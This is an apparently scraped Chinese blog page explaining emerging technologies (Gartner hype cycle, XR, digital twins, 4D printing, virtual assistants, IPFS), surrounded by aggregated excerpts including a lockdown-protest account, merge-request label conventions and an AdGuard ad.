- What’s Wrong with Web Assembly?
- Using WebAssembly threads from C, C++ and Rust
- Why you should not use WebAssembly to build your SPA
- Maybe you don’t need Rust and WASM to speed up your JS
- Faster Fractals with Multi-Threaded WebAssembly
- How JavaScript works: A comparison with WebAssembly + why in certain cases it’s better to use it over JavaScript
- WebAssembly 基础 - vivo 快应用官方博客
- 认识 WebAssembly - zkqiang’s blog
- WebAssembly 学习(一)：认识 WebAssembly - 姬无华
您可能感兴趣的文章
- 博客 二丫讲梵 2022-12-29 23:30:00如要阅读全文，点击标题跳转。学习周刊-总第86期-简洁易用的行为式验证码Go库
- 博客 我爱自然语言处理 2022-12-28 16:22:13导语 图1. ChatGPT生成的关于智能写作的介绍 智能写作指使用自 […]
- 博客 Jiajun的编程随想 2022-12-28 08:00:00《MySQL Index Condition Pushdown Optimization》比如数据库中有如下表:```sql...
- 博客 构建我的被动收入 2022-12-27 08:00:00我的2022年度个人总结
- 博客 轶哥博客 2022-12-26 11:21:58<>使用热键来打开Dock中的应用程序。
otio + 1打开Dock中的第一个应用程序，就像Liux和Widow那样。<> - 博客 二丫讲梵 2022-12-24 04:44:39如要阅读全文，点击标题跳转。学习周刊-总第85期-go语言进程管理工具
- 博客 我爱自然语言处理 2022-12-22 18:17:54中文语法纠错任务旨在对文本中存在的拼写、语法等错误进行自动检测和纠正，是自然语言处理领域一项重要的任务。同时该 […]
- 博客 我爱自然语言处理 2022-12-22 18:12:25参与任务 中文拼写检查任务是中文自然语言处理中非常具有代表性和挑战性的任务，其本质是找出文本段落中 […]
- 博客 我爱自然语言处理 2022-12-21 15:10:41背景 文本语义纠错的使用场景非常广泛，基本上只要涉及到写作 […]
- 博客 MiaoTony's Blog 2022-12-18 23:30:00874
- 博客 maxOS 2022-12-18 14:37:23在我看来「科学方法」应该成为每一个人的基本技能，面对每一个结论我们都可以去质疑，而作为提出结论的人，也都应该尽可能的给出足够的证。
- 博客 二丫讲梵 2022-12-17 02:16:30如要阅读全文，点击标题跳转。学习周刊-总第84期-关于手机号的正则校验应该用严格校验，还是宽松校验呢
- 博客 Jiajun的编程随想 2022-12-16 08:00:00《Go mod 简明教程》最近认真学习了一下 `go mod`，整理成文。这篇文章是系统的了解 `go mod`，并不是简单介绍如何使用。在 `go mod` 出来之前，社区采用的是类似 `NodeJS` 那种模式，`vendor`，也就是把所有的包都保存在 `vendor` 这个目录下，但是...
- 博客 maxOS 2022-12-15 02:04:09先有市场，在有产品。产品之于市场，就如同答案之于问题，没有市场，产品将无处可去。拥有 Product-Market Fit 也就意味着产品的价值得到了市场的认可。
- 博客 我爱自然语言处理 2022-12-14 16:53:05在大数据时代，通过对目标人物的轨迹、通信、社交、出行、网络等多模态行为进行挖掘并建立人物画像模型，并依托人物基 […]
- 博客 酷 壳 – CoolShell 2022-12-13 15:39:39
写一篇与技术无关的文章，供大家参考。我住北京朝阳，从上周三开始我家一家三口陆续发烧生病，自测抗原后，都是阳性。好消息是，这个奥密克戎跟一般的病毒性感冒差不多，没...
The post 感染新冠的经历 first appeared on 酷 壳 - CoolShell. - 博客 晚晴幽草轩 2022-12-12 21:21:00
著名 IT 咨询公司 Gartner（高德纳），有一个”技术热门度曲线”模型（Gartner Hype Cycle）。该模型认为，一门技术的发展要经历五个阶段：启动期、泡沫期、低谷期、爬升期、高原期；该公司每年都会公布当年的热门技术图；基于所提及的新兴技术， 如果没有接触，难以知道是用来做什么的。本文旨在科普这些行业技术。
Gartner 技术热门度曲线
- 启动期（Innovation Trigger）：该技术刚刚诞生，还只是一个概念，不具有可用性，无法评估商业潜力。媒体有所报道，引起了外界的兴趣。
- 泡沫期（Peak of Inflated Expectations）：该技术逐步成型，出现了个别成功的案例，一些激进的公司开始跟进。媒体开始大肆报导，伴有各种非理性的渲染，产品的知名度达到高峰。
- 低谷期（Trough of Disillusionment）：该技术的局限和缺点逐步暴露，对它的兴趣开始减弱。基于它的产品，大部分被市场淘汰或者失败，只有那些找到早期用户的公司艰难地活了下来。媒体对它的报道逐步冷却，前景不明。
- 爬升期（Slope of Enlightenment）：该技术的优缺点越来越明显，细节逐渐清晰，越来越多的人开始理解它。基于它的第二代和第三代产品出现，更多的企业开始尝试，可复制的成功使用模式出现。媒体重新认识它，业界这一次给予了高度的理性的关注。
- 高原期（Plateau of Productivity）：经过不断发展，该技术慢慢成为了主流。技术标准得到了清晰定义，使用起来越发方便好用，市场占有率越来越高，进入稳定应用阶段。配合它的工具和最佳实践，经过数代的演进，也变得非常成熟了。业界对它有了公认的一致的评价。
一门技术到底前景如何，很难准确预测；但是它的热门程度却是可以衡量的（比如在社交媒体提及次数的增长幅度）。风险投资跟热门程度高度正相关，越热门的技术越容易拿到投资。
用户可以基于 Gartner 技术热门度曲线，判断技术处在哪一个阶段，确定它的热门程度。简单的使用规则为：”争取风险投资，要选择热门的技术；解决实际问题， 要选择可靠的技术。“
简单说，处于启动期的技术，风险很大，不确定性极高，但是一旦成功，回报可能也很高，适合创业公司；处于高原期的技术，非常可靠，风险低，有成熟的解决方案和配套工具，适合大公司和企业的内部应用。
反之，如果一门技术已处于高原期了，就代表它非常成熟；人们对它能干什么和不能干什么，都已经很是了解，也难以产生新的期待，技术本身的潜力已经不大，所以用它拿不到投资，只能用来干活。
2022 年 Gartner 新兴技术成熟度曲线公布最新技术趋势
2021 年 Gartner 新兴技术成熟度曲线公布最新技术趋势
XR、AR、VR、MR
什么是扩展现实 (XR)？
扩展现实 (XR)：是一个“包罗万象”的术语，指的是增强或取代我们对世界的看法的技术。这通常是通过将计算机文本和图形叠加或浸入现实世界和虚拟环境，甚至是两者的结合。
XR 包括增强现实 (AR)、虚拟现实 (VR) 和混合现实 (MR)。虽然所有三个“现实”都有共同的重叠特征和要求，但每个都有不同的目的和底层技术。
XR 将在元宇宙中发挥基础性作用。“互联网的下一次发展”将把真实、数字和虚拟世界融合到新的现实中，通过 Arm 驱动的“网关”设备（例如 VR 耳机或一副 AR 智能眼镜）进行访问。
XR 技术有一些基本的相似之处：所有 XR 可穿戴设备的核心部分是能够使用视觉输入方法（例如对象、手势和注视跟踪）来导航世界并显示上下文相关信息。深度感知和映射也可以通过深度和位置特征来实现。
什么是增强现实 (AR)？
增强现实 (AR) ，通过将我们看到的内容、与计算机生成的信息叠加在一起，增强了我们对现实世界的看法。如今，这项技术在智能手机 AR 应用程序中很普遍，这些应用程序需要用户将手机放在面前。通过从相机中获取图像并进行实时处理，该应用程序能够显示上下文信息、或提供似乎植根于现实世界的游戏和社交体验。
尽管智能手机 AR 在过去十年中取得了显着进步，但其应用仍然有限。越来越多的重点是通过可穿戴智能眼镜提供更全面的 AR 体验。这些设备必须将超低功耗处理器与包括深度感知和跟踪在内的多个传感器结合在一起，所有这些都在一个轻巧舒适的外形中，足以长时间佩戴。
AR 智能眼镜需要在用户移动时始终在线、直观且安全的导航。这需要在深度、遮挡（当 3D 空间中的一个对象从视图中挡住另一个对象时）、语义、位置、方向、位置、姿势以及手势和眼睛跟踪等功能方面取得重大进展。
什么是虚拟现实 (VR)？
虚拟现实 (VR)， 完全取代了用户的视野，让他们沉浸在计算机生成的虚拟环境中。这种 XR 技术已经存在了一段时间，并在逐步改进。它主要用于娱乐体验，例如游戏、音乐会、电影或体育，但它也在加速进入社交领域。对于 VR，沉浸式娱乐体验将需要高清渲染管道、体积捕捉、6DoF 运动跟踪和面部表情捕捉等功能。
VR 还用作培训、教育和医疗保健（例如康复）的工具。为了让最终用户获得这些体验（并且也是无缝的），VR 技术的重点通常是高质量的视频和渲染以及超低延迟。
最后，VR 设备现在正在通过 RecRoom 等平台增强视频会议体验，这些平台可以在不同的虚拟世界中进行虚拟聚会。现在支持 Oculus Quest 的 RecRoom 在 2020 年 Arm 新现实系列的第三集中 出现，讨论了 VR 的沉浸式体验。
什么是混合现实 (MR)？
MR 介于 AR 和 VR 之间，因为它融合了真实世界和虚拟世界。此类 XR 技术存在三个关键场景。第一种是通过智能手机或 AR 可穿戴设备将虚拟对象和角色叠加到现实环境中，反之亦然。可参见 Microsoft 教程： 什么是混合现实？
2016 年风靡全球的 Pokémon Go 手机游戏，通过智能手机摄像头将虚拟 Pokémon 覆盖在现实环境中。这通常被吹捧为革命性的 AR 游戏，但它实际上是 MR 的一个很好的例子——将现实世界环境与计算机生成的对象混合在一起。
混合现实也开始用于使 VR 真实世界玩家能够叠加到视频游戏中，从而将真实世界的人物带到 Twitch 或 YouTube 等游戏流媒体平台上。以上内容，出自文章： XR、AR、VR、MR：现实有何不同？ （发表于 2022 年 4 月 1 日）。
数字孪生
数字孪生是一种旨在精确反映物理对象的虚拟模型。 会给研究对象（例如，风力涡轮机）配备与重要功能方面相关的各种传感器。 这些传感器产生与物理对象性能各个方面有关的数据，例如，能量输出、温度和天气条件等等。 然后将这些数据转发至处理系统并应用于数字副本。
一旦获得此类数据，虚拟模型便可用于运行模拟、研究性能问题并生成可能的改进方案；所有这些都是为了获取富有价值的洞察成果，然后将之再应用于原始物理对象。
数字孪生与模拟
尽管模拟和数字孪生都是利用数字模型来复制系统的各种流程，但数字孪生实际上是一个虚拟环境，对于研究来说内容特别丰富。 数字孪生和模拟之间的区别主要是规模问题： 模拟通常研究的是一个特定流程，而数字孪生本身可运行任意数量的实用模拟项目来研究多个流程。
当然，二者之间的差异远不止如此。 例如，模拟通常不会从获得实时数据中受益。 但数字孪生是围绕双向信息流设计的。当对象传感器向系统处理器提供相关数据时，该信息流首次出现。然后，当处理器将其得出的洞察成果与原始源对象共享时，该信息流会再次出现。
数字孪生拥有的数据更加优质且不断更新，且覆盖了更加广泛的诸多领域；除此之外，虚拟环境还具备更强的计算能力，因此，与标准模拟相比，数字孪生能够从更有利的角度研究更多问题，具备更大的最终潜力来改进产品和流程。
数字孪生的优点
- 促进研发：利用数字孪生能够更高效地研究和设计产品，生成与潜在性能结果相关的大量数据。 根据这些信息得出的洞察成果可帮助企业在开始生产之前就能进行必要的产品改进。
- 效率更高：即使在新产品投入生产后，数字孪生也有助于真实反映和监控生产系统，以期在整个制造流程中获得和保持最高效率。
- 产品生命末期管理：数字孪生甚至可以帮助制造商决定如何处理生命周期结束并需要通过回收或其他措施进行最终处理的产品。 通过使用数字孪生，制造商能够确定哪些产品材料可以回收。
4D 打印技术
4D 打印技术，是指由 3D 技术打印出来的结构，能够在外界激励下、发生形状或者结构的改变，直接将材料与结构的变形设计内置到物料当中，简化了从设计理念到实物的造物过程，让物体能自动组装构型，实现了产品设计、制造和装配的一体化融合。
4D 打印构成要素
4D 打印的主要构成要素可以分为四个部分：智能或刺激反馈材料、4D 打印设备、外部刺激因子、智能化设计过程。
4D 打印主要优势
- 实物可从一种形态转换成另一种形态，提供了最大限度的产品设计自由度。
- 可在打印部件中嵌入驱动、逻辑及感知等能力，且无需额外的时间和成本。
- 可在同一批次产品中定制生产。
- 生产个性化产品是 4D 打印的独特优势。
- 可先打印极其简单的结构，然后通过外部刺激转变成具有复杂功能的结构和系统。
- 一旦制造出 4D 打印材料并嵌入动态功能，生产成品的功能将超过预期。
- 可从根本上消除供应链和组装线。
- 利用设计和编程实现物质世界的数字化。
- 数字文件可发送到世界任何地点，并收集合适的三维像素，制造所需产品。
- 三维像素的设计和制造将成为新兴行业，所带来的影响将异常深远。
- 将激发科学家和工程师想象各种多功能动态物体，之后进行物质编程，并利用 4D 打印实现，“物质程序化”这一新领域可能将兴起。
4D 打印应用领域
4D 打印可应用领域有：生物、医疗领域、军事工业领域、产品设计领域、交通工具、建筑与航空航天领域、教育领域。
4D 打印的原理
4D 打印让快速建模有了根本性的转变。与 3D 打印的预先建模然后使用物料成形并不一样，4D 打印直接将设计内置到物料当中，简化了从“设计理念”到“实物”的创物过程。让物体如机器般“自动”创造，不需要连接任何复杂的机电设备。为了充分应用这一新技术，Autodesk 公司的研发团队进一步设计了新软件 Cyborg，可以用于自我组装和可编程的模拟材料，实现设计的优化和材料的折叠。
虚拟助理
虚拟助理（virtual assistant）是一种能替个人执行任务或服务的软件代理（software agent）。有时候“聊天机器人”泛指虚拟助理，亦或专指网络聊天使用的软件机器人（有时候更专指娱乐而非实用的网络聊天）。但也可以指一种职业，或者企业组织，其乃是透过网络执行远端服务。其能依据使用者输入的内容、位置感测而完成相对应的任务或提供相关服务，同时也具有从网络上寻找并提供使用者各种资讯（像是天气、交通状况、新闻、股市行情、行程或零售价格等）的能力。
至 2017 年，随着新产品进入市场，虚拟助理的功能与运用正快速扩张。一项 2017 年 5 月的线上调查显示，美国的市占率依次为苹果 Siri（34%）、Google 个人助理（19%）、Amazon Alexa（6%）及微软 Cortana（4%）。搭载这些助理的智慧扬声器也有着巨大的变化；苹果直到 2017 年 6 月才宣布其智慧扬声器。脸书的 M 虚拟助理 预计 2017 年在 Facebook Messenger 上会有数亿的用量。
互动方式
虚拟助理的作业媒介:
- 文字（网络聊天），尤其是即时通讯等的应用程序。
- 语音，例如 Amazon Echo 上的 Alexa 或是 iPhone 上的 Siri 。
- 利用照相或上传图像，例如三星 Galaxy S8 上的 Bixby。
有些虚拟助理的使用方式多样，例如 Google 智能助理在 Google Allo app 用文字，Google Home 智慧扬声器则用语音。虚拟助理，利用自然语言处理（NLP）从使用者的文字、语音输入，找到相应的可执行指令。许多助理利用人工智能的技巧，包括 机器学习 ，不断学习。
用语音启动虚拟助理，可能需要用到“唤醒词”（wake word），这是一个或一组词，例如 Alexa、“嗨，Siri”（Apple iPhone、Mac 等），“小 v 小 v”（ vivo ） 或者 OK Google。
可提供的服务
虚拟助理可提供多样的服务，尤其是 Amazon Alexa 和 Google 个人助理，日新月异，包括：
- 提供资讯，例如气象、来自维基百科或 IMDB 的事实，设定闹钟、待办事项、购物清单等。
- 播放串流服务的音乐例如 Spotify 和 Pandora，播放广播或有声书。
- 从串流服务例如 Netflix，在电视上播放影片、电视节目或电影。
- 辅助、取代真人的客服、取代真人推广推销（在国内经常遇到，不胜其烦）。
IPFS
IPFS（InterPlanetary File System），一般翻译为“星际文件系统”，它由 Protocol Lab 提出，始于
2014年，发明者： Juan Benet ；它是一种点对点（P2P）的分布式文件系统（用来存储数据的技术）；但更确切的说 IPFS 是一种传输协议。IPFS 将 HTTP 视为对手，宣传上要对标 HTTP。IPFS 它是一个基于内容寻址的、分布式的、新型超媒体传输协议。 IPFS 支持创建完全分布式的应用。 它旨在使网络更快、更安全、更开放。 IPFS 是一个分布式文件系统，它的目标是将所有计算设备连接到同一个文件系统，从而成为一个全球统一的存储系统。实现互联网中永久可用、数据可以永久保存（理论上，访问量越大，越能保证）。
HTTP(超文本传输协议)是目前最常用的传输协议。在网上找到想要的内容，就要输入网址，网址多是 HTTP 开头。HTTP 通过域名、IP 及多个中心服务器的中转，再进行文件的上传下载。HTTP 的功绩无可取代，现在人们上网都要依赖于 HTTP。但 HTTP 也存在一些问题，比如性能效率不是非常高，过度依赖于中心服务器与主干网络等等。
IPFS 与之相比，它是一种多中心化的解决方案，内容寻址不是通过域名、IP，而是通过唯一 HASH 密钥来进行数据寻找。IPFS 是个分布式文件存储系统，文件数据并不储存在一个中心化的服务器中，而是存储在网络上所有符合条件的电脑中。当然，IPFS 不止如此，还有很多其他的特性，层次与应用范围也超过了简单的 P2P 下载。
如果您对 IPFS 感兴趣，可以参见 IPFS 入门笔记 、 IPFS 如何冲击我们熟知的网络世界 等文章。
2022 年 11 月 ～ 12 月 03 日写于〔深圳福田〕
您可能感兴趣(/有用)的文章：
- 博客 二丫讲梵 2022-12-12 21:10:22如要阅读全文，点击标题跳转。最近 ChatGPT 大火，随之一起火起来的，有一大批基于 ChatGPT 编写的工具，我的项目chatgpt-dingtalk也是这批项目中的一个，旨在提供在钉钉群聊中与 ChatGPT 交互的能力。这是一个工具类的项目，已经提供了 docker 一键部署的能力。但是也有人只想通过二进制直接部署的方式进行体验，多平台兼容的二进制构建，早已有成熟的 Actions 支持，本文就来介绍一个实现方案。
- 博客 轶哥博客 2022-12-10 21:33:32<>ChatGPT的出现改变了很多人对AI的看法，也包括我。<>出于对新鲜事物的好奇，我也体验了一段时间的ChatGPT。<>然而体验ChatGPT并非一件容易的事情，出于让更多人能体验到目前公开的最先进的生成式AI的目的，特地编写了一个H5版本的ChatGPT客户端。
- 博客 酷 壳 – CoolShell 2022-12-10 10:38:51
很早前就想写一篇关于eBPF的文章，但是迟迟没有动手，这两天有点时间，所以就来写一篇，这文章主要还是简单的介绍eBPF 是用来干什么的，并通过几个示例来介绍是怎...
The post eBPF 介绍 first appeared on 酷 壳 - CoolShell. - 博客 二丫讲梵 2022-12-10 01:47:22如要阅读全文，点击标题跳转。最近chatGPT异常火爆，本项目可以将GPT机器人集成到钉钉群聊中。
- 博客 二丫讲梵 2022-12-10 01:41:46如要阅读全文，点击标题跳转。学习周刊-总第83期-几个chatGPT相关的项目与两个短链项目
- 博客 二丫讲梵 2022-12-08 19:15:58如要阅读全文，点击标题跳转。http-server 可以简单理解成一个透明代理。能够让我们方便的在本地对项目以及资源进行调试校验，而不必再起一个 Nginx 来进行代理。
- 博客 构建我的被动收入 2022-12-06 08:00:00当AI降临了，我们该怎么办？
- 博客 Jiajun的编程随想 2022-12-04 08:00:00《OpenWRT 使用 Android/iOS USB 网络》我所在的地方网络不好，于是计划用 4G/5G 网络，但是开热点有个缺点，那就是WiFi本身新号未必稳定，第二无法让它经过OpenWRT实现全局科学上网。一个方案是购买 CPE，也就是 4G路由器，或者5G路由器，将手机信号转换成有线信号，然后作为 OpenWRT 的网络入口...
- 博客 二丫讲梵 2022-12-02 17:12:33如要阅读全文，点击标题跳转。学习周刊-总第82期-两个生成与解析二维码的go三方库
- 博客 maxOS 2022-12-01 19:49:10增长五线描绘了企业增长过程中可能出现的 5 中状态，类似于 Andrew Chen 的 Cold Start Theory，后者更加体系化，相比而言我更推荐后者。
- 博客 MiaoTony's Blog 2022-11-30 19:20:00892
- 博客 二丫讲梵 2022-11-28 01:33:19如要阅读全文，点击标题跳转。把博客平台迁移到 vuepress 以来，之前折腾过好几次评论系统，大多是依赖第三方作为后端存储，导致要么是加载速度不理想，要么是配置费劲儿，于是，我终于下决心，自建评论系统。
- 博客 王登科-DK博客 2022-11-27 22:29:08我所在的小区，在11月19日突然发了一则公告，大意是因为小区内有阳性病例，所以要封锁5天，只进不出，同时整个小区全部变成高风险，五天后，也就是11月24日，封锁没有解除的迹象，小区群内流传着一张新的通告，通告中写「因为疫情形势非常严峻，24日至27日实施为期三天的临时管控」，但这则通告的落款并非任何部门，是小区名字后加一个「疫情防控办公室」，显得似乎有一些可疑，但无疑的是，我们在第一个六天后，还将面临至少三天的新的封控。
在封锁的这几天内，每栋楼楼下都有两个穿白色防护服的工作人员，24小时都有这么两个人在楼下，我观察到，他们既非医护人员，也不是警务人员，其中一个是一个大爷，喜欢喝茶，喜欢抽烟，把一楼电梯厅弄的烟味很重，另一个是个年轻点的人，偶尔会把防护服的帽子脱到脑后，去门口吹冷风。
封控的这几天，我偶尔会下楼扔垃圾，拿买的菜，菜会由另一些穿白色防护服的工作人员从小区门口拿到每栋楼里，严格意义上来说，我拿菜是不出楼栋的，但扔垃圾还是要出去，所以我每天还是会出去透口气。
我从美团或永辉线上买菜，前两天的时候，还可以随时买，不过要五六个小时之后才会送到，第三天后，除非在凌晨12点刚过的时候立刻下单，否则就无法下单了，因为只需要几分钟，就会将这些平台未来1-2天的运力全部占满。
我定好闹钟，连续2个晚上在12点刚过的时候下单了一堆食材，全部记录到囤饭饭里，然后终于有了一些安全感。
26号，也就是原定三天封控的前一天，没有任何动静，中午我在小区群里看到，有人隐晦的发言，表示下午两点，大家可以去小区门口，我们合理的表达自己的诉求，争取解封，据此而新建立的一个微信群，名字都叫「合理诉求」。
一点五十，我下楼扔垃圾，扔完垃圾我有点想直接往门口走，但眼瞅着两个白卫兵似乎在远处看我，我怂了一下，于是绕到楼后面，从楼后的小路走到了小区门口。
小区门口零星的站了几个人，在我走向他们的时候，周边的楼栋高层不时传出解封的吼声，以及一两声别的什么听不出含义的吼叫，今天的阳光比前几天更温热一些，空气也很好，但有一种山雨欲来风满楼的感觉。
离门口很近的一个楼，楼门口的门被关上了，但里面挤满了人，两个白卫兵把守着门口，不让里面的人出来，我旁边一个女生走过去大声问他们，你们想出来吗？他们不让你们出来吗？我和几个别的外面的人一起走到那个楼的门口，外面的人大声对立面的人说，出来，出来，出来。
里面的人在试图推开门，没料到其中一个白卫兵居然直接用一块木板，把门闸上了，他的做法引起了一阵更强烈的不满，但与此同时，居然有很多人，从另一个门出来了，大家又发出一阵欢呼，我回过头看原来的那扇门，居然也神奇的打开了，里面的人也鱼贯而出。
再加上其他楼里出来的人，此时外面大概站了二三十个人。一篇文章二三十的阅读量很低，但二三十个人站在一起，还是很有分量，大家聚往小区门口，那里有一道栅栏，栅栏外是几辆警车。
站定后人群开始高呼，解封，解封，解封，除了我们这群在外面的人，楼栋高层也传出同样的喊声，我身边一个女生抬头对上面叫道，下来，下来，下来，又有一个嗓门大的男生跟着喊，下来，人多力量大。
我们小区分为南北两个区，中间有一条小巷隔开，我在北区，和我们隔街相望，南区也聚集了很多人，挤在他们那一侧的门口，而中间则是几辆警车，几位警察，以及穿防护服的人，大概有十多个人。
在我们高喊一阵儿之后，有个警察过来跟我们对话，他是附近派出所的所长，我们这边拿出二十条之类的规定据理力争，对方说情况他们已经了解，相关部门的领导会在2点半过来，跟小区代表对话，大家可以回家了，当然没人同意回家，几个嗓门大的喊，我们不回去，就在这解决，众人附和。
此时是两点十分左右，我回头看了一眼，身后的人多了很多，大概七八十个，再加上南区，可能有接近两百人了。
两点二十五的时候，所谓的领导还没有来，众人时不时又叫一遍遍的解封，突然，南区出现一阵骚动，南区隔离的蓝色铁皮发出咚的一声，所有人都为之叫好，然后又发出咚的一声，大家又叫好，随之铁皮出现了一个弯曲的缺口，然后被很多双手和脚推的更加摇摇欲坠，然后砰的一声，整个铁皮都倒了，大家爆发出巨大的欢呼，南区的人流随之涌出，我们北区这一边，也开始推开栅栏往外走，两股人群在小巷中央，汇合了。
汇合的人群发出出更大的声音，这时候，不知名的领导来了。
领导穿蓝色羽绒服，有一点年纪了，头发白了一部分，他和派出所所长商量了几句，然后对我们说，最新的通知是，除了有阳性的5栋楼：XXX，XXX，其他的楼，大家回去测一遍核酸，然后明天解封。
这是我们第一次知道，阳性所在的楼具体是在哪几个楼，同时也知道了，原来剩下的十几个楼栋，其实都在遭受无妄之灾，按照二十条的规定，没有阳性的楼栋，不应该被划为高风险，但这个小区二十几个楼，在过去都被划为高风险，且完全被封控。
但大家并不满意，因为承诺是没有任何保证的，有人喊，不回去，不做核酸，解封。
事态到这里有点僵持住了，我感觉他们也不敢也没有能力直接告诉我们可以现在解封，于是又开始商量，人群等待了十几分钟，可能更久，大家按耐不住，有人大叫了一声，起～来～，然后人群开始齐声唱起了国歌，唱完后似乎得到了某种力量，开始往前走，我们走一点，他们就后退一点，这样一点点走到了小巷最外侧的那道最后的栅栏。
在往前走的时候，两侧的围墙，以及更远处的楼栋的高层阳台上，也布满了人，有人对他们喊，出来跟我们一起，你们愿意做一辈子的懦夫，还是十分钟的英雄？这句话可能过于中二了，以至于没有人回应，但随即有个洪亮的声音从不知道哪里发出，我们不想做英雄，只想做一个自由的普通人。
警察和其他工作人员并没有阻挡人群的向前，一退再退，人群越过最后的那道栅栏，眼看有游行的趋势，有谨慎的人赶紧喊大家，差不多就回来，别走太远了，我们的诉求是解封。
有关部门的领导感觉下定了某种决心，对大家说，我现在就调人！我现在就调人！现在就做核酸，做完明天就解封。
一部分人得到这个较为确凿的答复，已经比较满意，还有一部分人坚持，不做核酸，直接解封。
但人群在这个时候开始有了分化，并且开始互相劝说，半小时后，一辆考斯特开过来，下来了一些医护人员，走到小区里开始支起了简易核酸点，虽然还有一些零星的不满，还有一部分人继续去了居委会，但最后大家也基本开始去排队，做了核酸。
第二天，我睡醒后立马打开手机看消息，小区内基本已经互通，但小巷最外侧的栅栏还在，但出入已经不会有人强行阻拦了，有的人早上已经去外面买了早饭回来。
下午三点，我骑车出去，和大家说的一样，栅栏还在，有一个似乎是保安的人在看守，我直接把栅栏推开，他没有做任何表示，然后我骑到了附近的超市，买了一些食材，本来还想去瑞幸买一杯咖啡，但周围的瑞幸和别的咖啡店，也都关门了，我去了711，买了一杯冰美式，然后骑车回了家。
到家后，大概五点，我看到群里有人发了图片，最外层的栅栏已经被正式移走，几乎所有楼栋也都被贴上了「解除封控通知」，车辆开始出入，小区终于，正式解封了。
回顾这次的基于合理诉求的解封活动，我依然觉得很值得被记录，我尤其记得在最开始，有两个嗓门大的女生，她们发出了第一声呼吁，得到了越来越多的响应，而在后来，她们的声音依然深刻在我身边响亮，另外我还注意，在人群行动时，有一对情侣，女生想往前走，被男生拉住了，他们互相说了几句，然后又一起往前走了。
坦白来说，我们这些聚集起来的人，其实是一帮乌合之众，没有组织或纪律，甚至没有牵头人或代表，诉求也不尽相同，经常出现前的人在对话，后面的人就瞎叫，结果搞的对话进行不下去的情况，但所有人的最底层的诉求是一致的，那就是要活下去，有尊严的活下去。
我们肯定不至完全活不下去，但也有人吃了四天泡面了，也有人一天只吃一顿饭，也有人抢菜经常抢不到，因此焦虑的睡不着，所有的大道理，比不过吃饭事大。
换个角度来看，即便我们是乌合之众，即便我们乱糟糟，乌泱泱的，许多人抱有勇气，另一些人则只是观望，也有怂的，焉儿的，但人群聚在一起，就真的有强大的力量，我们争取来了合法合规的解封，也拿回了吃饭的权利，有尊严的活着的权利，在我们之前，周边就有别的零星的小区，也用这种方式得到了解封，在我们之后，还有更多小区也会得到本来就不应该剥夺的自由。
当然有运气的成分，我甚至觉得那个派出所所长对我们是能够有一定程度的理解的，最激烈的冲突也未升级成真正的肢体对抗，而现在依然不知道身份的那个领导，也算是说话算话，把自由，虽然这是我们本应该有的，还给了我们。
但不管运气的成分，如果误以为我们这样的一群人不用拿出勇气，魄力和决心，就可以轻易取得了最后的结果，那才是真正的大错特错，在解封的第二天，小区群里果然出现了一种言论「去闹什么事，增加了危险，反正都要解封的，这不就解了吗？」
这是一定会有的言论，也一定会有人坐享其成却过河拆桥，但这不重要，重要的是总会有一群人，这群人始终会站出来，我们要和他们站在一起。 - 博客 技术小黑屋 2022-11-27 21:35:00
一个Merge Request 的 阶段
- 代码添加或修改,需要进行review
- 代码review结束,需要修改
- 重复步骤1和步骤2,直到达到可以合并的标准
角色
- MR submitter 负责提交Merge Request,并针对review做修改
- MR reviewer 负责review Merge Request,提出MR中存在的问题,该角色可以对应多个人
- MR dispatcher 负责分发MR,修改或增加MR reviewer
- MR terminator 最终负责MR结果走向的人,比如合并或者关闭
注意
- 上述角色至少需要两个人
- 因权限问题, MR reviewer 可能无权限合并该MR
有哪些标签
MR:Needs Review(MR:需要Review)
- 当MR创建或者进行了更新,需要人员Review时,MR submitter 设置该标签
- 如果MR对应的内容不需要跟版,不需要现在合并的,不要增加该Lable
- 如果一个MR,当前的label不包含MR:Needs Review,MR reviewer 则不会review
MR:Reviewed With Comments(MR:需要修改)
- MR reviewer 进行了review,并提出了一些评论来记录发现的问题和疑问
- MR reviewer 移除 MR:Needs Review 并添加标签 MR:Reviewed With Comments
- MR submitter 根据提出的问题和疑问进行修改或回答,当修改完毕后,移除标签 MR:Reviewed With Comments,并设置MR:Needs Review
Good to Merge(可以合并)
- 经过上面的来回操作,在某一点,MR达到了一个可以合并的时候,这时候需要移除前面的标签,设置成Good to Merge
- 设置这个标签,需要由MR reviewer 操作,而不是MR submitter
- 设置完这个标签后,MR不需要再更新
- 因MR reviewer不一定有merge权限,这一标签还是有必要的
Do Not Merge(请勿合并)
- 禁止合并标签,该MR可以被 review,但是不要合并进来.
- 适用于未来的需求,目前尚不需要加入到主分支
- 辅助标签,更加明确表明不需要合并当前MR
待验收
- 该功能没有开始进行验收(测试,UI,UE,产品,数据等)
- 如果当前MR包含待验收,通常不会被合并
验收中
- 该功能正在处于验收中(测试,UI,UE,产品,数据等)
- 如果当前MR包含该标签,通常不会被合并
验收通过
- 该功能已经通过验收(测试,UI,UE,产品,数据等)
- 如果当前MR包含验收通过,可以进行合并
BugFix
- 仅用于修复线上版本的崩溃提交时,使用
可能不上线
- 有些MR已经完成,但不确定什么版本引入,需要增加该标签
技术需求
- 非产品迭代需求
References
- https://engineering.invisionapp.com/post/pr-labels/
- 博客 技术小黑屋 2022-11-27 21:23:00
网络垃圾广告令人深恶痛绝，它不仅浪费流量、拖慢设备性能，还存在诸多安全隐患！所以很多用户选用 AdGuard 来对付这种「数字牛皮癣」。
点击[合作伙伴]专属优惠链接，前往数码荔枝下单 AdGuard 终生版最低仅需 119 元，新注册用户再享受立减 5 元优惠！
全方位广告拦截
为了应对无孔不入的垃圾广告，大家也许已经尝试过不少工具。
目前大多数的广告拦截工具仅支持电脑网页端，同时因为技术问题，往往需要逐个浏览器单独配置，最后效果还很一般 (比如面对反屏蔽脚本时无能为力)。
AdGuard 不仅内置防反屏蔽功能，同时支持 Win、Mac、安卓、iOS 四大主流系统，而且一经启用，无须额外配置即可在系统内生效！
AdGuard 还可以通过屏蔽垃圾信息，净化网页和软件，让页面更快完成载入，有效节省带宽流量和系统性能。
以视频播放前的贴片广告为例，这类可恶的广告，短则几十秒，长则数分钟！非常浪费时间。
在安装 AdGuard 并启动后，用户再通过浏览器浏览视频，就能享受如同 B 站一般，无广告直接播放的畅快体验 (屏蔽功能不支持国内部分网站和 App)。
以搜索同一个常见疾病为例，在没有拦截广告时，搜索结果通常会置顶多条广告信息。在开启拦截后，搜索结果会清爽得多。
赶快点击[合作伙伴]专属优惠链接购买 AdGuard 畅享无广告的清爽体验，终生版仅需 119 元起！
隐私与保护
无论是大人还是小孩，如今每天接触互联网的时间越来越多。怎样保护个人隐私，怎样让孩子时刻远离危险网站，正困扰着无数人。
